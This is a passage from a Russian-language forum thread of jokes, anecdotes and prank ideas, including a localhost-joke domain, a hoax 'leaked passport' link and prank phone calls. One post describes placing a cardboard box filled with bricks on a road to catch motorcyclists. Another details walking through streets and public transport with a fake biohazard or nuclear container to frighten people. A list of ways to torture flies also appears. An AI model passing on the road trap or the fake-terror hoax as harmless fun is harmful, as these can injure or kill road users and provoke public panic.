Приятно,когда у людей с чувством юмора все в порядке...Все равно модельные валенки - это утопия... :biggrin:
Хотя конечно, если посмотреть правде в глаза, то не так уж и абсурдно выглядит фраза о ношении валенок на работе - есть масса производств, на который так и поступают (пищевые (цеха заморозки и хранения гот.продукции), хладокомбинаты и пр.)...
А вот и насчет самой шутки (цитата с их форума):
"Ребят, как бывший пиарщик компании-производителя детской одежды... Мой респект вашему пиарщику, маркетологу, контентщику или кто там придумал у вас всю эту затею с флеш-мобом и офисными валенками. Искренне восхищаюсь."
В общем-то выходит, что это не шутка, а раскрутка...но отлично удавшаяся...
1) выполнить ping eblan.us
2) смотреть на ip и втыкать 2 минуты
ЕЖ
Гы, а почему интересно так???
c00ler
Ты ещё и whois-запрос сделай на eblan.us, там тоже весело :)
MegaVovaN
11.11.2004, 05:46
c00ler
Ты ещё и whois-запрос сделай на eblan.us, там тоже весело :)
WHOIS information for eblan.us:
[whois.melbourneit.com]
Domain Name: EBLAN.US
Domain ID: D6794494-US
Sponsoring Registrar: DIRECT INFORMATION PVT. LTD., (D.B.A. DIRECTI.COM)
Domain Status: clientTransferProhibited
Registrant ID: DI_831134
Registrant Name: Eblan Mozgoff
Registrant Organization: Brainfuck Inc.
Registrant Address1: Red Square 1
Registrant City: Moscow
Registrant Postal Code: 103132
Registrant Country: Russian Federation
Registrant Country Code: RU
Registrant Phone Number: +10.3822424040
Registrant Email: mega@eblan.us
Registrant Application Purpose: P4
Registrant Nexus Category: C31/RU
Administrative Contact ID: DI_831134
Administrative Contact Name: Eblan Mozgoff
Administrative Contact Organization: Brainfuck Inc.
Administrative Contact Address1: Red Square 1
Administrative Contact City: Moscow
Administrative Contact Postal Code: 103132
Administrative Contact Country: Russian Federation
Administrative Contact Country Code: RU
Administrative Contact Phone Number: +10.3822424040
Administrative Contact Email: mega@eblan.us
Administrative Application Purpose: P4
Administrative Nexus Category: C31/RU
Billing Contact ID: DI_831134
Billing Contact Name: Eblan Mozgoff
Billing Contact Organization: Brainfuck Inc.
Billing Contact Address1: Red Square 1
Billing Contact City: Moscow
Billing Contact Postal Code: 103132
Billing Contact Country: Russian Federation
Billing Contact Country Code: RU
Billing Contact Phone Number: +10.3822424040
Billing Contact Email: mega@eblan.us
Billing Application Purpose: P4
Billing Nexus Category: C31/RU
Technical Contact ID: DI_831134
Technical Contact Name: Eblan Mozgoff
Technical Contact Organization: Brainfuck Inc.
Technical Contact Address1: Red Square 1
Technical Contact City: Moscow
Technical Contact Postal Code: 103132
Technical Contact Country: Russian Federation
Technical Contact Country Code: RU
Technical Contact Phone Number: +10.3822424040
Technical Contact Email: mega@eblan.us
Technical Application Purpose: P4
Technical Nexus Category: C31/RU
Name Server: EKS.NET.TOMLINE.RU
Name Server: HBZ.VESTNIK.TOMSK.RU
Created by Registrar: DIRECT INFORMATION PVT. LTD., (D.B.A. DIRECTI.COM)
Last Updated by Registrar: DIRECT INFORMATION PVT. LTD., (D.B.A. DIRECTI.COM)
Domain Registration Date: Sat Oct 09 16:12:35 GMT 2004
Domain Expiration Date: Sat Oct 08 23:59:59 GMT 2005
Domain Last Updated Date: Tue Oct 19 04:28:23 GMT 2004
tracert eblan.us
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\G4m3r>tracert eblan.us
Tracing route to eblan.us [127.0.0.1]
over a maximum of 30 hops:
1 <1 ms <1 ms <1 ms localhost [127.0.0.1]
Trace complete.
C:\Documents and Settings\G4m3r>
про IP фтыкал 3 минуты :beer:
Это называется сам ты eblan :biggrin:
Засеките время и читайте вслух, с приятной интонацией: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Зачем мне это ведро?
Зачем мне простой ведро?
Зачем мне и ведро?
Зачем мне прекрасный ведро?
Зачем мне способ ведро?
Зачем мне занять ведро?
Зачем мне чем-нибудь ведро?
Зачем мне идиота ведро?
Зачем мне на ведро?
Зачем мне сорок ведро?
Зачем мне секунд ведро?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Закончили?
Прекрасно! А теперь снова прочитайте, но ТОЛЬКО ТРЕТЬЕ слово в каждой фразе.
Это здесь неспроста :-)
Россия обязалась передать Евросоюзу все паспортные
данные граждан страны
в целях безопасности пересечения границ ЕС.
Теперь весь список доступен в Инете. Там указано
все, что можно вычитать
в паспортных данных.
Я был в шоке, когда нашел свои данные: проверьте
себя, сайт ищет по
транскрипции имени (Ivan Ivanov, например)
-http://www.scrolllock.nl/passport
Звоните(должен быть женский голос) знакомому когда его нет дома и говорите:
- Здравствуйте, Васю можно к телефону?
- Его нет дома.
- А, ну передайте ему, что я на аборт не согласна!
Звоним по случайному номеру. Говорим следующее, как можно серьезнее: "Здравствуйте, это вас с АТС беспокоят. У нас сейчас будут проводиться работы, пожалуйста, ни в коем случае не поднимайте трубку, иначе специалистов ударит током. Через пару минут перезвонить, и если человек снимает трубку, орем туда нечеловеческим голосом и ржом всей компанией"
ну и последняя , самая удачная
_http://www.prus.spb.ru/best/028.php
"В комнату заводится человек с завязанными глазами и его руками начинают водить по лежащему "фараону" снизу вверх (роль "фараона" исполняет один из посвященных участников. Остальные "жертвы" ждут за дверью) . Звучит заунывная музыка и слова: "Это фараон, вот его ноги, это фараон, вот его бедра, это фараон, вот его живот, ..., вот его голова, это фараон, вот его МОЗГИ!" С этими словами руки жертвы погружаются в кастрюлю с вареными холодными макаронами (рожками, ракушками и т.д.) вперемешку с кетчупом. P.S. Кричат все, даже парни. "
"Розыгрыш проводится в компании, где один человек спит в салате. Нужно занавесить все окна, выключить свет, проверить на полное отсутствие света. Далее все создают обычный шум и будят спящего, предлагая еще выпить и после недолгой паузы говорят: "Что ты вылупился, бери стакан." После короткой паузы он настойчиво заявит о наступившей слепоте ..."
"Жертве предлагается пройти психологический тест. Для начала несчастного (-ую) просят представить себе лужу крови. Свежепролитой. При этом желательно описать эту лужу как можно ярче - брызги, капли и т.д. После этого жертва должна отвечать на вопросы или повторять "ключевое" слово. Вы: "Что течет по венам?" Он: "Кровь." Пару раз заставить повторить слово "кровь". Вы: "Что течет по артериям?" Он: "Кровь." Пару раз заставить повторить слово "кровь". Вы: "Что течет по капиллярам?" Он: "Кровь." Пару раз заставить повторить слово "кровь". Вы: "На какой свет переходят улицу?" Естественно, девять из десяти ответят "На красный."
"Специально для студентов! Как заработать на кружку-другую пива методом спора. Когда-то, лет 30 назад, сам пользовался, пока весь институт не узнал об этом. Конечно, надо выбирать соответствующие моменты и компанию. 1.Спорим, что не перешагнешь через карандаш. Я положу его на пол, а ты не перешагнешь!!! Как выиграть спор? Положи карандаш на пол плашмя к стене. 2.Спорим, что ты меня не сдвинешь с места, даже если мы будем стоять на одной газете напротив друг друга. Решение: газета кладется на порог двери так, чтобы закрыв дверь, ты оказался с той стороны, куда дверь НЕ открывается. Попробуйте, уж кружку пива выиграете точно!"
"В руку на глазах у "жертвы" берется сырое яйцо. Лучше если "жертва сидит". Потом заходим за спину к "жертве", яйцо тихонько куда-нибудь кладем, а руку с пальцами в пучке прикладываем к голове "жертвы" так, чтоб пальцы слегка коснулись волос и быстро хлопаем другой рукой по тыльной стороне ладони. Затем проводим пальцами по бокам головы "жертвы" сверху вниз так, чтоб слегка касаться волос. Полная иллюзия, что на голове разбили яйцо …. "
Ведущий вызывает двух мужчин и обьявляет им задание: "Представьте, что Вы пришли на рыбалку, размотали удочки, участники изображают как разматывают удочки, забросили их, участники показывают, и начали ловить. Если перейти на камушек, то можно забросить дальше, участники изображают, как они переходят на камень и устраиваются ловить. Начинает прибывать вода, Вам жалко брюки, поднимите их, игроки поднимают, вода все выше и выше, игроки приподнимают брюки еще выше". И вот когда ведущий решил, что брюки подняты достаточно, он объявляет: "А СЕЙЧАС ОБЪЯВЛЯЕТСЯ КОНКУРС НА САМЫЕ КРАСИВЫЕ НОГИ НАШЕЙ СВАДЬБЫ, дня рождения и т.п. " Несколько веселых минут Вам обеспечено … "
"Подобную штуку можно проделать возле любой железной двери. Дверь должна быть прикрыта так, чтобы для прохода через нее нужно было взяться за ручку. Для достижения нужного эффекта достаточно просто стоять возле такой двери и всем желающим пройти говорить что-нибудь вроде: "Осторожно, наверху работают электрики с сигнализацией и дверь сейчас под высоким напряжением. Нужно подождать некоторое время." Таким образом может набраться от трех до десяти человек. До тех пор, пока с ПРОТИВОПОЛОЖНОЙ стороны двери не пойдет человек и не откроет дверь без всякого для себя ущерба. Главное для зачинщика - как можно быстрее исчезнуть с "места преступления".
skelegon
15.04.2005, 16:33
http://www.scrolllock.nl/passport/
"любимым мотоциклистам"
положить коробку картонную на дорогу, а под него - кирпичей, плотненько-плотненько. все, сидеть ждать. тока подумать хорошо перед тем как делать
9 действенных методов борьбы с мухами
1. СЖИГАHИЕ ЗАЖИВО.
Hасекомое обливается спиpтом (лучше одеколоном - для дезодоpации!) и поджигается. Пpоцесс можно снять на видео.
2. ГАЗОВАЯ КАМЕРА.
Муха, удеpживаемая за кpылышки, засовывается головой в гоpлышко склянки с нашатыpем. Hесколько минут ингаляции пpиводят к паpаличу.
3. БАРОH МЮHГХАУЗЕH.
Кpупная муха заpяжается в пневматическую винтовку и выстpеливается в наклееную на стену фотогpафию Паpиса Гомосеева, ну или там мужа Аллы Попугаевой. В месте попадания обpазуется буpое пятно величиной в судоpогу. Кстати, убойная сила мухи достаточна для того, чтобы пpобить насквозь газету "Аpгументы и факты", сложенную вдвое.
4. ИГРОВАЯ ПРИСТАВКА ПО-ДЕРЕВЕHСКИ.
Муха заточается в стеклянную банку с кpышкой, апосля чего банка выносится на солнце. Тpебуется с помощью лупы как можно быстpее изгнать жизнь из шустpого мушиного тела. Уpовень сложности зависит от pазмеpа банки, погодных условий, а также от быстpоты пpоцессоpа (т.е. физической подготовки насекомого). Можно игpать вдвоем: в банке - две мухи с пpивязанными к лапкам цветными ниточками (чтобы pазличать одну от дpугой); цель игpы - пеpвым замочить чужую муху.
5. КАЗHЬ БЕЗ HАЗВАHИЯ.
Раскаленной на зажигалке иглой выжигается бpюшко (брр!), после чего муха отпускается с миpом.
6. ГОЛОДHАЯ СМЕРТЬ.
Пойманной мухе отpезается хоботок с помощью бpитвочки. Hасекомое, естественно, отпускается на волю.
7. ЭЛЕКТРИЧЕСКИЙ СТУЛ.
Зафиксиpованная на деpевяшке муха обливается водой; затем пускается в действие заpядное устpойство для аккумулятоpов: один электpод - к голове, дpугой - к бpюшку. Сила тока не должна быть слишком большой.
8. СКАРМЛИВАHИЕ ГОЛОДHОМУ ПАУКУ.
Пойманная муха засовывается в паутину к пауку-кpестовику. Пpоцесс снимается на видео. Голос за кадpом читает поэму пpо "Муху-цокотуху".
9. ПЕРВОМАЙСКАЯ ДЕМОHСТРАЦИЯ.
Ловится десяток кpупных мух. С помощью японского супеpклея пpиклеиваются спинками к стене (двеpи, pасписанию занятий, доске объявлений). Затем изготавливаются малюсенькие флажки и плакаты из бумаги, и даются мухам в лапы (типа ну и флаг им в руки). Перед демонстрацией рекомендуется произносить зажигательные речи!
Для розыгрыша требуется два чайника (в которых воду кипятят) и разыгрываемый. Желательно, чтобы у последнего было здоровое сердце и нормальное восприятие действительности (ну, чтоб не тормоз был). Когда гости собираются пить чай, Один чайник кипятится, а во второй наливается НЕ ГОРЯЧАЯ вода (до половины или целиком - по желанию). Разыгрываемый должен сидеть так, чтобы не смог сразу сбежать (диван, кресло, стул, но не табурет), и желательно поближе ко входу. Хозяин входит в комнату с двумя чайниками в руках (оба чайника лучше держать через полотенце) и со словами: "Осторожно, кипяток!" - очень быстро ставит ХОЛОДНЫЙ чайник на колени (живот, дает в руки) жертве. Данная шутка была воспроизведена мною над моим братом около года назад. До сих пор упоминание о его выражении лица и телодвижениях вызывает взрыв дикого хохота у свидетелей того действа.
"Как-то в лагере мы прикололись так. Дождались, когда заснет Диман, мой хороший друг (самое интересное, что спал он обычно очень крепко), накидали сверху большую гору туалетной бумаги (причем, пытались сделать эту гору как можно воздушнее), а потом хором заорали: " Диман! Просыпайся, потолок падает!!!" Всю оставшуюся ночь никто не мог заснуть из-за сильнейшей икоты последнего!
"Этот розыгрыш лучше всего провести во время чаепития. Вы пьете чай и заявляете, что чая с лимоном можете выпить стаканов 20 - так его любите. А с двумя лимонами так вообще стаканов сорок. Сделать это обещаете минут за 30. Как правило, удается найти азартного человека, не верящего вам. Поспорьте лучше на что-то стоящее. После того, как спор заключен, попросите у хозяев лимон (еще лучше, если удалось поспорить на два лимона) и стакан. Уложите в стакан ЦЕЛЫЙ лимон. Оставшегося в стакане места для чая будет столько, что Вам несложно будет выпить нужное количество чая и выиграть спор."
Среди всех космических курьезов и розыгрышей первое место по праву принадлежит шутке Оуэна Гарриотта. В 1973 году он входил в экипаж американской орбитальной станции "Скайлэб". То, как он разыграл офицера Центра управления полетами Роберта Криппена, достойно навечно войти в анналы космонавтики...
С собой в космос Гарриотт захватил диктофон, на который его супруга наговорила несколько заранее составленных фраз. Когда в один из дней оператор Роберт Криппен вышел на связь с орбитальной станцией, Гарриотт ждал у передатчика с диктофоном в руке. Между станцией и Центром управления состоялся следующий диалог:
- "Скайлэб", это Хьюстон, ответьте.
- Здравствуйте, Хьюстон, - бодрым женским голосом отозвалась станция. - Это "Скайлэб".
Земля после секундного колебания поинтересовалась:
- Кто говорит?
- Привет, Боб, - отозвалась станция. - Это Хелен, жена Оуэна.
Боб несколько секунд переваривал ответ, а затем с трудом выдавил:
- Что ты там делаешь?
- Я тут решила ребятам поесть принести. Все свеженькое, - успокоил его голос с орбиты.
Центр управления молчал около минуты, а затем отключился. Видимо, у офицера связи сдали нервы...
опубликовано на сайте © xnt.info
Ой какая прелесть http://smilies.sofrayt.com/fsc/sunshade.gif неожидала такого на этом форуме ,пыталась востользоваться поиском-где то видала такую тему,,IE или MyIE + картинки ,,
СМОТРИТЕ ЧТО ОН МНЕ ВЫДАЛ-я даже неожидала http://smilies.sofrayt.com/fsc/blink.gif
ФУХ Блин,искал-искал ,,IE или MyIE + картинки ,, всё облазил,
всё вверх дном поставил и нихрена не нашёл.. Но Вы небеспокойтесь
автоматической рассылкой форума было разослан всей команде
imho.ws о интересующей Вас вопрос.И в блежащее всемя вы получите ответ
http://www.liveinternet.ru/images/attach/715918/978891.gif какие Вы молодцы
Absalute
31.05.2005, 19:42
История это произошла с одним моим знакомым.
Покупает он, значит, какую-то технику в магазине ............
(если кто не знает - это сеть магазинов в Москве по торговле техникой),
подходит к нему парень молодой и украдкой предлагает порнушку.
Ну мой знакомый ему и говорит:
- А у тебя есть какая-нибудь оригинальная, чтобы запомнилась на всю жизнь?
- Да, есть - русская, на всю жизнь запомнится - точно!!
Ну купил он, значит, эту кассету за рублей 100-150, точно сказать не могу -
это не важно, привез ее домой, вечером с женой легли в постель, включили
видео и начали смотреть...
На экране появилась обычная комната в обычном доме и в кресле там сидела
женщина, похожая на бомжиху в какой-то грязной комбинации. И не просто
сидела, а еще пила пиво из бутылки.
Ну минут пять пили-пила, потом голос за кадром, обращенный к этой женщине:
- Слушай, хватит пить, а? Давай, начинай уже!
Эта бомжиха ему:
- Да пошел ты!! Отстань от меня!!
И брыкнула ногой в сторону камеры.
Тут камера разворачивается на 180 градусов, на экране появляется оператор
и, обращаясь к зрителю, говорит такую вещь:
- Слушай, мужик, сегодня дама не в духе... Попробуй включить эту же кассету
завтра...
И ВСЕ!!! Дальше кассета была абсолютно пустая...
Absalute
05.06.2005, 09:51
Лежим с моей милой Светланкой в постели, я дремлю, она книжку читает и вдруг спрашивает меня:
- Спишь?
- Нет. Отвечаю я.
- А хочешь?
- Хочу. Говорю я, начиная возбуждаться...
- Ну спи.
Единственный минус - возможные проблемы с ментами за "нарушение общественного порядка", потому что приводимая шутка довольно жестокая.
Итак, берешь большой железный бак с крышкой. Где? Где хочешь :). На стройке, у соседей, в запасах бабушки или на молочном комбинате. В конце концов, размести объяву в "из рук в ноги" о желании приобрести железного друга за бесценок. Ты не поверишь, но такого барахла может быть достаточно много. Более того, может сидит сейчас некий дядя Федя и думает, кому бы за бутылку сбагрить бак, который он вчера где-нибудь стырил.
Далее этот бак красится в зеленый цвет и на нем рисуется ядовито-желтым значек бактериологической или ядерной опасности :). Примеров полно в инете. Сначала нацарапай черновой, потом уже закрашивай, иначе только бак заляпаешь напрасно. Сам наряжаешься в костюм химзащиты и противогаз - это добро продается во многих местах, адреса ищи в инете. А в бак наливаешь немного воды и кидаешь кусок (и побольше) сухого льда. Бак в руки и на улицу. Прохожие будут в легком шоке :). У людей страх перед террористами и прочей мутью, а тут такое топает.
Теперь о моддинге :). Можно разнообразить шутку так - подробить лед и в процессе путешествия по улицам жестами сеятеля разбрасывать дымящиеся осколки по окрестностям. Попробуй так же залезть с баком и в костюме (да не выходном, а химзащиты!) в общественный транспорт, на просьбу оплатить проезд открой крышку и из дымящегося чрева выудит мокрый червончик, который и отдай жадной до чужих баблосов бортпроводнице. Возьмет она его или нет - вопрос конечно интересный... Если ты выбрал шутку со знаком бактериологической угрозы, то можно периодически открывать крышку и якобы поглаживать сидящую внутри животинку со словами "Не бойся маленький, никто тебя не обидит" (в противоположность можно изредка наносить вглубь сосуда удары с воплями аля "Да когда же ты сдохнешь!"). В противном случае, если тебе ближе радиация и ядерный титбит, купи фонарик, натяни на него зеленый воздушный шарик и помести внутрь бочонка. Для созданий полноценного эффекта можно немного подпортить бак и насверлить в нем не очень крупных отверстий - в темноте твой ядреный реактор будет светиться благодушным зеленым цветом. Подходи на остановку, ставь свой бойлер на землю и в тяжких раздумьях садись на него в ожидании прилета инопланетян. Эпическая картина! Наверное аншлаг среди аборигенов (особенно снабженных мышиными одеждами) тебе все-таки обеспечен :).
Для совсем отмороженных окончательный вариант. Реализуй идею с фонариком и иди к метро, к торгующим там бабулькам. Становись в ряд и предлагай спешащим согражданам заранее заготовленные пирожки или прочую шнягу. Я бы вот например с удовольствием бы купил пару вкусностей из бака с радиоактивным лейблом и зеленым светом на борту :).
Bombeiro
09.08.2005, 16:40
:yees: :yees: :yees:
Прикол придумал мой одноклассник Шура Фурман.
Для него важно выбрать момент. Необходимо, чтобы учитель не был слишком большим формалистом и не погнал мочить тряпку, чтобы в первой половине занаятия на доске много писали, и чтобы всё написанное в конце концов было стерто.
1) Классная доска моется с мылом _ДО_БЛЕСКА_. Не должно остаться ни одного жирного пятнышка (от потных ладоней, например).
2) После этого на доске куском хорошо размятого пластилина пишется СЛОВО.
3) Нужно обеспечить, чтобы тряпка была _сухая_, как середина Сахары.
4) При попытке вытереть доску, меловая пыль налипает только на напластелиненные места.
(теперь-то мы, конечно, составили смесь из канифоли, спирта и вазелина. Но теперь мы в школу ходим только на родительские собрания)
vBulletin® v3.8.5, Copyright ©2000-2024, Jelsoft Enterprises Ltd.